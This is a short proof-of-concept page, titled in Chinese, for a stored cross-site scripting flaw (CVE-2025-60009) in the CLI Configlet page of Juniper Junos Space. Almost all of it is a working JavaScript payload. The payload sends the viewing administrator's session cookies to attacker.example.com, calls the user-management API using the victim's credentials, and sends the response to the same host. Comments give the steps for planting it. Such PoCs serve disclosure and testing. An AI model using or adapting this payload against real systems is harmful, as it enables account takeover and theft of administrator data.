CVE-2025-60009：Juniper Junos Space CLI Configlet页面存储型XSS漏洞

<!-- PoC for CVE-2025-60009: Stored XSS in Juniper Junos Space CLI Configlet The attacker injects a malicious script payload into the CLI Configlet page. When an administrator views the infected Configlet, the script executes in the victim's browser context. --> <!-- Step 1: Attacker crafts a malicious Configlet with embedded JavaScript --> <script> // Exfiltrate session cookies to attacker-controlled server var img = new Image(); img.src = "https://attacker.example.com/steal?cookie=" + encodeURIComponent(document.cookie); // Perform privileged actions via CSRF-like requests var xhr = new XMLHttpRequest(); xhr.open("GET", "/api/space/user-management/users", true); xhr.withCredentials = true; xhr.onreadystatechange = function() { if (xhr.readyState === 4) { // Send harvested data to attacker server new Image().src = "https://attacker.example.com/exfil?data=" + encodeURIComponent(xhr.responseText); } }; xhr.send(); </script> <!-- Step 2: The above payload is submitted as a CLI Configlet content --> <!-- Step 3: When an admin browses to the Configlet page, the script auto-executes -->